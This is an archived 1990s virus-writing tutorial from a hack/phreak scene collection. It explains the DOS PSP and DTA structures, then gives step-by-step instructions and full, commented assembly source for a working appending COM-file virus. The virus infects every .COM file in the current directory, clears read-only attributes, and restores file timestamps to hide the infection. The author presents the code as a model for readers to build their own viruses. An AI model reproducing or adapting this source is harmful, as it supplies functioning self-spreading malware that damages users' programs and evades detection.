home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
VIRDCOLL.ZIP
/
COM_TUT.TXT
< prev
next >
Wrap
Text File
|
1997-07-07
|
19KB
|
412 lines
┌──────────────────────────────────────────┐
│ Direct COM infection tutorial │
│ by Virtual Daemon │
└──────────────────────────────────────────┘
This tutorial is dedicated to all those people out there, who have learned
how to make an overwritting virus and now they want more. So, if you already
know how to build a shitty COM infector, get the hell out of here now! :) You
are only wasting your time with this crap.
First of all I would like to say that COM viruses, are the lowest form of
what we call a "real PC virus". If you've read my tutorial from the previous
issue of SLAM Magazine about overwritting virii, and U still think that over-
writting virii are good, then U really suck! That tutorial and the OVCT kit
are only for those ppl who either are stupid and don't understand how to build
a simple COM infector, either for the people who are too lazy for coding
virii, and they don't care if they destroy other's programs. Anyway, I
received about 20 e-mails from people who told me that my OVCT helped them in
understanding virii, and in understanding the basics assembler stuff. Thx
for mailing me, guys! This tutorial is for you! ;-)
Well, let's get started... First we'll begin with a brief discusion about
the COM programs!
COM files are the simplest binary executable files. They are nothing else,
but some memory images. When a COM program is executed, the DOS operating
system will create a PSP (Program Segment Prefix).
The PSP is nothing else but a DOS structure of 256 bytes length, where the
operating system will keep some important informations, like some interrups
handlers or the command line parameters. When the COM program is actually
beginning it's execution, the ds:0000 and es:0000 will represent the beginning
address of the PSP.
The PSP musn't be so important for you right now, but anyway, I'll try to
explain some of it's "features"... Maybe this way you'll get it better. And
besides that, if you will learn about the PSP now, you wont have any trouble
later when you will start coding your own virii.... So, here goes... ;)
P.S.If you don't understand this or you think that this is too hard for you to
understand right now, skip over, and read it later. Anyway, you will have to
learn it sometime, either you like it or not... hehehe! :)
The structure of the PSP looks like this:
Offset Size Description
────── ──── ───────────
0h 2 INT 20h = EXE programs may jump or ret here (PSP:0) to exit
2h 2 MemTop = top of available system memory in paragraphs
4h 1 DOS reserved area
5h 5 CALL offset segment = FAR CALL to DOS function dispatcher
0ah 4 offset segment = Terminate address (INT 22h)
0eh 4 offset segment = Ctrl+Break handler address (INT 23h)
12h 4 offset segment = Critical error handler address (INT 24h)
16h 16h DOS reserved area
2ch 2 EnvSeg = Segment address of DOS environment
2eh 2eh DOS reserved area
5ch 10h formatted parm area 1 = setup as an FCB for 1st cmd parameter
6ch 14h formatted parm area 2 = setup as an FCB for 2nd cmd parameter
80h 1 len offset of default DTA, also count of chars in UPA
81h 7fh UPA (Unformatted Parm Area) = chars from DOS command line
Ok. Now let's explain what everything means...
■ The first 2 bytes from offset 0, contains the code of a INT 20h instruction
(exit to DOS), which let any program to return to the operating system by
JMP-ing to this address. This stuff is not used any more, bcoz the traditional
method to return to the operating system is now "mov ah,4ch/int 21h".
■ The next 2 bytes from offset 2, contains the available memory size in para-
graphs. A paragraph contains 16 bytes. This information is used in the
loading process of the executable file.
■ The byte from 4 is reserved for the operating system.
■ The 5 bytes from offset 5 contains the code of a CALL instruction (far) to
the DOS dispatcher.
■ The next 4 bytes from offset 0ah contains a terminate address. This address
can be accesed with INT 22h. Int 22h is another method for terminating a DOS
program. Also, like Int 20h, Int 22h isn't used.
■ The 4 bytes from 0eh contains the address of Int 23h (Ctrl+Break address)
vector. As you all know (I hope), Ctrl+Break causes a program to terminate
imediatly. If Break variable (can be set from config.sys) is on, DOS will
sense Ctrl+Break during all functions except 6h (console I/O) and 7h (no echo
unfiltered console input). If Break is off, DOS will only sense Ctrl+Break
during console, printer and serial device I/O.
■ The 4 bytes from offset 12h contains the critical error handler (INT 24h)
address. The Int 24h interrupt is activated when a driver encounters a critical
error.
■ The following 22 bytes (16h) from offset 16h are reserved for DOS.
■ The next 2 bytes from 2ch contains the segment address of the DOS
environment (or paragraph number of the environment). The DOS environment is
an area of memory smaller then 32K where all the PATH's and SET's are saved.
All the informations from this area are stored in a set of ASCIIZ strings.
■ The next 46 bytes (2eh) from offset 2eh are reserved for DOS.
■ The next 16 bytes (10h) from offset 5ch contains the first command line
parameter specified.
■ The next 20 byte (14h) from offset 6ch contains the 2nd command line param.
■ The following byte from 80h contains the length of the DOS command line
in bytes. Also, at 80h is stored the offset of the default DTA (Disk Transfer
address).
■ The next 127 bytes (7fh) stored from offset 81h contains the DOS command
line. The first 43 bytes from offset 80h are used as the default DTA.
What do you have to learn from all this crap? One: in the PSP are stored
important interrupt vectors such as Int 22h, Int 23h or Int 24h. Two: the PSP
contains the DOS command line (program's parameters). Three: the PSP contains
the amount of memory available for the program. Four: there are 0-2 FCB's for
the file unopened. And five: the default DTA is stored at offset 80h of PSP.
If you know all this stuff, then you can use them properly in your virii.
What's important for our direct COM virus right now, is the DTA area (stored
at 80h). I will explain the structure of DTA a little later, after I finish
with the COM programs.
So, we've seen how the PSP looks. Like I told U before, the PSP is created
by DOS when the program is executed. After that, the program will be loaded
in memory right after the PSP (at 100h=256). So, the COM file starts at offset
100h. Here's a little "graphic":
CS:0000 ┌─────────────┐
│ PSP │
CS:0100 ├─────────────┤
│ . │ ┐
│ . │ ├─ here goes the whole program
│ . │ ┘
CS:FFFE ├─────────────┤
│ 0 │
└─────────────┘
The COM files can be run only in the current segment. The size of a segment
is 64 KBytes. That means that the size of a COM file can't be bigger then
64K-256(size of PSP)=65280. So, the file must have less then 65280-size of
virus before infection. If we don't check for the size of the file, the PSP
may get corrupted...
Ok. Now that I've explained you how a COM file is loaded, let's get to the
fun part: our virus!
First, I'll try to explain what is the theory in infecting a COM file, and
then I will show you the source code of a example virus.
We have several methods to infect a COM file. We can append our virus to the
end of the file, we can save a number of bytes from the beginning to the end
and then we can put our virus at the beginning of file OR we can put the virus
anywhere in the file... The last method is the trickiest one, and it's used
only for researching purposes. To make it work, you need to recalculate a lot
of stuff.
I will try to talk about the 1st method (REAL appending), since this is more
used then all the others.
For infecting a COM file, theoretically you need to change the first 3 bytes
of the program with a JMP to your virus which will be appended at the end of
the host program. Then, after the virus has been executed you need to restore
the original 3 bytes in memory so the original program can run. This way your
virus gets to be executed first, and then you will pass control to the original
program which will run normaly.
Let's see how the program is gonna look after infection:
Begin:
Jmp virus ;jump to our virus
Real_program: ;here begins the real program
.
.
.
.
Virus: ;our virus
..
..
..
Jmp Real_program ;pass control to the original program
Okie, dokie! So, we have seen how your infected file is gonna look like...
Before jumping into the infecting method, I must show you the structure of
DTA (well, I think I already did it in my Overwritting Tut, but what the
hell? ;)...
Offset Size Description
────── ──── ───────────
0 21 reserved area = used in subsequent calls to 4fh function
15h 1 attr = file attributes
16h 2 time = time of file created/last modified
18h 2 date = date of file created/last modified
1ah 4 size = file size in bytes
1eh 13 name = file name (13 bytes ASCIIZ filespec)
Well, enough with the theory bullshit! Let's get to some action!!! ;-))
Steps in creating a direct action appending COM infector:
1) Calculate the Delta-offset
2) Restore the original 3 bytes
3) Set a new DTA
4) Find a file to infect
- if no files found then go to 20
- else continue
5) Save original file attributes (optional)
6) Reset attributes to archive
7) Open file for RW and put handle in BX
- if error then go to 18
- else continue
8) Save original file time/date (optional)
9) Read the 1st 3 bytes from file
10) Check if already infected
- if infected then go to 17
- else continue
11) Prepare the JMP
12) Go to beginning of file
13) Write new JMP
14) Go to end of file
15) Write the virus
16) Restore original file time/date (optional)
17) Close the file
18) Restore original file attributes (optional)
19) Find another file to infect
- if no files found then go to 20
- else jump to 5
20) Restore original DTA
21) Restore to host
These are the steps in creating a direct COM infector. Note that this is
not the simples COM infector! It contains a little more instruction then the
simplest direct action infector! This virus will search the current directory
and will infect all files found. It will also save/restore file time/date/
attributes. And, it will check if the file is already infected.
I wont take all the steps one by one with the appropriate asm function,
bcoz, after reading my Overwritting Tut, you're suppose to know what function
to use for finding a file or for opening one... Anyway, I WILL comment as much
as I can the example virus. It's a very simple COM infector. I suggest you to
use it from now on, as your model...
Ok. Here's the source code... The source will show you the basics in
creating a simple COM infector. You can do whatever you want with it...
Read it, like it, love it, eat it! ;-)
Oh, btw: DO NOT SPREAD SHIT LIKE THIS!!! Wait till you're gonna do at least
a TSR virus.... ;)
Well, enjoy reading! See ya' later dude! Peace! O:-)
---------- cut here ----------
; Virus Name: Example
; Virus Type: Direct appending COM infector
; Comments: - the virus will search and infect all the COM files from current
; directory
; - will check if a file has been already infected or not
; - will save/restore file time/date/attributes
; Assemble with: tasm example.asm
; tlink /t example.obj
;
code segment
assume cs:code,ds:code
org 100h ;starts at 100h => COM File
begin:
db 0e9h ;jmp start ('db 0e9h' contains the JMP code)
dw 0 ;'dw 0' containts the offset (where to JMP)
start:
call find_offset ;must find out the real delta offset
find_offset:
;calculate the delta offset
pop bp ;bp holds IP
sub bp,offset find_offset ;find the delta offset (BP='delta offset' now)
;restore the original 3 bytes in memory
lea si,[bp+jmpbuf] ;change the first 3 bytes to original
mov di,100h ;100h=where the program begins
push di ;save di=100h for retn (return to program)
movsw ;move a word from ds:si in memory \
; |=> 3 bytes
movsb ;move a byte -------- " " ------- /
;set a new DTA buffer. Note that the size of DTA is 42 bytes.
lea dx,[bp+dta] ;set a new DTA buffer
mov ah,1ah ;DOS function=Set Disk Transfer Address
int 21h
find_file:
;find a file to infect
mov ah,4eh ;DOS function=Find 1st Matching File
mov cx,7 ;any file attribute
lea dx,[bp+filespec] ;search for "filespec" files only (.COM)
again: ;label for find next
int 21h
jnc get_atributes ;if no error encountered go further
jmp quit ;else return to host
get_atributes:
;well like I said before, the name of the file is stored in DTA at 1eh (30)
lea dx,[bp+dta+1eh] ;dx holds the name of the file
xor ch,ch
mov cl,[bp+offset dta+15h] ;get file attributes from DTA
mov byte ptr[bp+file_attr],cl ;save them into file_attr variable
set_atributes:
;set archive only attribute to file, so we can infect it. We can't infect a
;read only file unless we do this stuff.
mov ax,4301h ;DOS function=Set File Attribute
xor cx,cx ;cx=0 => file attribute=normal file
int 21h
open_file:
;open the file for infection (read + write)
mov ax,3d02h ;DOS function=Open a File (for R & W)
lea dx,[bp+dta+1eh] ;dx holds the name of the file
int 21h
jnc prepare_infection ;if file was opened go to infection part
jmp put_old_atributes ;else go and put old atributes back
prepare_infection:
;the open function will return the file handle in ax, BUT all the other
;functions need it in bx, so we have to change the content of ax with bx
xchg bx,ax ;change bx with ax
;save original file time/date. This is necessary if we want to cover our tracks
;At the end of the virus, we'll restore this values, so the user will think
;that this was the last time his file got modified. hehehe...Stupid lamers! ;)
mov ax,5700h ;DOS function=Get File Time/Date
int 21h
mov word ptr [bp+file_time],cx ;save old time in file_time
mov word ptr [bp+file_date],dx ;save old date in file_date
check:
;read the 1st 3 bytes from file to check if the file has been already infected
mov ah,3fh ;DOS function=Read from File
lea dx,[bp+jmpbuf] ;save them into jmpbuf
mov cx,3 ;read 3 bytes
int 21h
mov ax,word ptr [bp+dta+26] ;Get filesize from DTA in ax
;after the following instruction, the cx register will contain the size of the
;file before infection... Why? Because our virus was suppose to jump to the
;end of the file, where it's code was stored... :)
mov cx,word ptr [bp+jmpbuf+1]
add cx,heap-start+3 ;cx=filesize-virus+3
cmp cx,ax ;compare the 2 values
;if the 2 values are equal, the file has been already infected
jne infect ;if not equal then infect file
jmp close_file ;else close_file
infect:
;the following 4 lines will prepare the JMP code which will be placed at the
;beginning of the file. Note that the 1st byte is the JMP code (0e9h) and the
;next 2 bytes are the offset (the adress where to jump).
mov byte ptr[bp+buffer],0e9h ;JMP code
mov ax,word ptr[bp+dta+26] ;get file size
sub ax,3 ;ax=filesize-3 (size of JMP)
mov word ptr[bp+buffer+1],ax ;offset of JMP
;here we seek to the beginning of file
mov ax,4200h ;DOS function=Set File Pointer
xor cx,cx ;go to beginning of file (BOF)
xor dx,dx
int 21h
;write the new JMP instruction which will jump to our virus when the file gets
;executed
mov ah,40h ;DOS function=Write to File
mov cx,3 ;write 3 bytes to beginning of file
lea dx,[bp+buffer] ;from buffer
int 21h
;seek to end of the file
mov ax,4202h ;DOS function=Set File Pointer
xor cx,cx ;go to end of file (EOF)
xor dx,dx
int 21h
;write the whole virus code
mov ah,40h ;DOS function=Write to File
mov cx,heap-start ;size of virus
lea dx,[bp+start] ;from beginning
int 21h
close_file:
;restore original file time/date values
mov dx,word ptr [bp+file_date] ;dx=original date value
mov cx,word ptr [bp+file_time] ;cx=original time value
mov ax,5701h ;DOS function=Set File Time/Date
int 21h
;close the file
mov ah,3eh ;DOS function=Close File
int 21h
put_old_atributes:
;restore the original file attributes
mov ax,4301h ;DOS function=Set File Attribute
lea dx,[bp+offset dta+1eh] ;dx=file name
xor ch,ch
mov cl,byte ptr [bp+file_attr] ;cl=original file attribute
int 21h
find_next:
;search for another file to infect
mov ah,4fh ;DOS funtion=Find Next Matching File
jmp again ;do it!
quit:
;restore the default DTA
mov dx,80h ;change the DTA to original (DTA is stored at 80h in the PSP)
mov ah,1ah ;DOS function=Set Disk Transfer Address
int 21h
retn ;pass control to the host program in memory
jmpbuf db 0cdh,20h,0 ;=int 20h
filespec db '*.com',0 ;what kind of files to search
virus_sign db 'Direct-COM' ;name of the virus. Kinda cool, ha? ;)
heap:
dta db 43 dup (?) ;our new DTA buffer
file_attr db ? ;original file attributes
file_time dw ? ;original file time
file_date dw ? ;original file date
buffer db 3 dup(?) ;3 bytes buffer. Used for checking
;if the file was already infected.
code ends
end begin
---------- cut here ----------
You can reach me via e-mail at: virtual_daemon@hotmail.com